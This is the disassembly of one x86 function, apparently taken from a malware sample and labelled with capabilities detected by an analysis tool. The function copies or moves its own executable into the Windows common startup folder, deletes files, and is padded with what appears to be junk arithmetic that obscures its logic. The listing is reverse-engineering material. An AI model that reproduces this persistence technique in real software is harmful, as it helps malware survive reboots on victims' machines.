Function at 0x4036b0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x43f350]
mov ecx, dword [0x43e2d0]
mov dword [esp + 0x304], eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
push ebx
push ebp
mov ebx, dword [str._r_____r____]
push esi
mov esi, dword [0x43e2bc]
push edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x43e2c0]
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ebp, [esi + ecx]
imul ebp, ebp, 0x302f8a
sub ebp, eax
mov edx, ebx
imul edx, edx, 0x754f74
sub ebp, edx
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x643bbd
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul ebx
sar edx, 0x14
add ebp, ecx
mov ecx, dword [0x43e2d8]
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, dword [0x43e2c4]
mov edx, ecx
imul edx, edx, 0x3493ae
add eax, edx
mov edx, dword [0x43e2c4]
mov dword [esp + 0x10], eax
mov eax, 0x9bcf58cb
imul edx
add edx, ebp
mov ebp, dword [esp + 0x10]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
sub ecx, ebx
imul ecx, ecx, 0x754f74
mov eax, esi
imul eax, eax, 0x28d92c
mov edx, esi
imul edx, edx, 0x450e38
add ecx, eax
add ebp, edx
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x43e2cc]
sub ebp, edi
sub ebp, 0x643bbd
mov edx, eax
mov dword [0x43e2c4], ebp
imul edx, edx, 0x643bbd
imul eax, eax, 0x3493ae
imul esi, esi, 0x302f8a
add ecx, edx
add ecx, esi
mov esi, dword [0x43e2d4]
add ecx, eax
mov eax, 0x9bcf58cb
imul esi
add edx, esi
sar edx, 0x15
add ecx, edx
mov ebx, edx
mov eax, 0x51e0e37b
imul esi
sar edx, 0x15
mov eax, edx
shr ebx, 0x1f
add ebx, ecx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, edi
lea ecx, [ebx + esi - 0x643bbd]
push 0
push 0x432e64
mov dword [0x43e2bc], ecx
call fcn.0041701d
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 8
cmp eax, 0xffffffff
jne 0x403845
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call esi
push 0
push 0x432e64
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x40386f
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call esi
mov ecx, dword [0x43e2c8]
mov esi, ecx
imul esi, esi, 0x28d92c
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov ecx, dword [0x43e2c4]
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub esi, eax
add esi, edx
lea eax, [esi + ecx + 0x2fa80f]
push 0x104
lea ecx, [esp + 0x218]
push ecx
push 0
mov dword [0x43e2d8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x214]
push 0x5c
push edx
call fcn.00417660
mov esi, eax
push str..tmp
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0x24]
push str._s_s
push ecx
inc esi
call fcn.00416ca1
mov edi, dword [0x43e2bc]
mov edx, dword [0x43e2d4]
imul edi, edi, 0x7565e
mov ecx, dword [0x43e2c4]
imul edx, edx, 0x51bcef
add edi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x14
imul ecx, ecx, 0x69275c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x1412258
add esp, 0x18
add edi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
push 0
shr ecx, 0x1f
add ecx, edx
push 0x18
lea edx, [esp + 0x11c]
sub edi, ecx
push edx
sub edi, 0x3493ae
push 0
mov dword [0x43e2d0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4039e6
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x432e38
push eax
call fcn.00416ca1
mov esi, dword [0x43e2cc]
mov edi, dword [0x43e2c8]
mov eax, 0x321c7f55
imul dword [0x43e2d4]
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43e2c0]
imul edx, edx, 0x643bbd
mov ebx, esi
imul ebx, ebx, 0xa9e322
sub ebx, ecx
mov ecx, dword [0x43e2bc]
add ebx, edx
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x8d9c64
add ebx, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, edi
imul eax, eax, 0x450e38
sar edx, 0x14
mov ebp, edx
shr ebp, 0x1f
add ebx, edx
add ebp, ebx
add ebp, eax
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebp, eax
lea edi, [edx + ebp - 0x28d92c]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
mov dword [0x43e2c8], edi
xor ebx, ebx
jmp 0x403ad0
mov ecx, dword [0x43e2bc]
mov esi, dword [0x43e2cc]
mov edi, dword [0x43e2c8]
jmp 0x403ad0
mov eax, dword [0x43e2d8]
imul ecx, ecx, 0x74bc7
imul esi, esi, 0x69275c
imul eax, eax, 0x754f74
imul edi, edi, 0x679727
add eax, ecx
mov ecx, eax
mov eax, 0x321c7f55
imul dword [0x43e2d4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x43e2d0]
mov edx, ecx
imul edx, edx, 0x643bbd
add eax, edx
add eax, esi
mov dword [esp + 0x10], eax
mov eax, 0x65c6b7f9
imul ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [0x43e2dc]
sar edx, 0x13
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edi
add eax, edx
sub esi, eax
lea ecx, [esp + 0x14]
push 0
sub esi, 0x643bbd
push ecx
mov dword [0x43e2c0], esi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x403b83
lea edx, [esp + 0x14]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x403ab4
mov ebx, dword [0x43e2dc]
mov ecx, dword [0x43e2c8]
mov edi, dword [0x43e2bc]
imul edi, edi, 0xa9d170
mov eax, ecx
imul eax, eax, 0x754f74
add edi, eax
mov edx, ebx
imul edx, edx, 0x643bbe
add edi, edx
mov edx, dword [0x43e2d0]
mov esi, dword [0x43e2d8]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51bab243
imul esi
sar edx, 0x15
mov ebp, edx
add edi, edx
shr ebp, 0x1f
add ebp, edi
mov edi, dword [0x43e2d4]
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9bcf58cb
imul ebx
add edx, ebx
mov ebx, dword [esp + 0x31c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebp, edx
test ebx, ebx
lea edx, [eax + ebp - 0x247508]
mov dword [str._r_____r____], edx
je 0x403c41
cmp ebx, 2
jne 0x403d4f
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call ebp
test eax, eax
jne 0x403d3d
mov ecx, dword [0x43e2c0]
mov edx, dword [0x43e2c4]
mov esi, ecx
mov eax, 0x6445fc6d
imul esi, esi, 0x946b47
imul edx
mov eax, dword [0x43e2bc]
sar edx, 0x14
imul eax, eax, 0x753dc2
add esi, edx
mov ebx, edx
mov edx, dword [0x43e2c8]
imul edx, edx, 0x754f74
shr ebx, 0x1f
mov edi, dword [str._r_____r____]
add ebx, esi
mov esi, dword [0x43e2d0]
add ebx, edx
add ebx, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov ecx, edx
add ebx, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov dword [0x43e2dc], ecx
push 6
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call ebp
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.00416fcd
add esp, 0x308
ret
mov esi, dword [0x43e2d8]
mov edi, dword [0x43e2d4]
mov ecx, dword [0x43e2c8]
mov eax, dword [0x43e2c0]
imul edi, edi, 0x302f8a
imul eax, eax, 0x754f74
mov ebp, ecx
imul ebp, ebp, 0x28d92c
add ebp, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, esi
imul edx, edx, 0x643bbd
sub ebp, edx
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebp, edi
sub ebp, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x15
add ebp, edx
mov esi, edx
mov eax, 0x76a10fbd
imul ecx
imul ecx, ecx, 0x330379
shr esi, 0x1f
sar edx, 0x15
add esi, ebp
add esi, edx
mov edi, edx
mov eax, 0x51e0e37b
imul dword [str._r_____r____]
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
add edi, esi
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
sub edi, 0x28d92c
cmp ebx, 1
mov dword [0x43e2d4], edi
je 0x403dff
cmp ebx, 2
jne 0x403e14
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00416fcd
add esp, 0x308
ret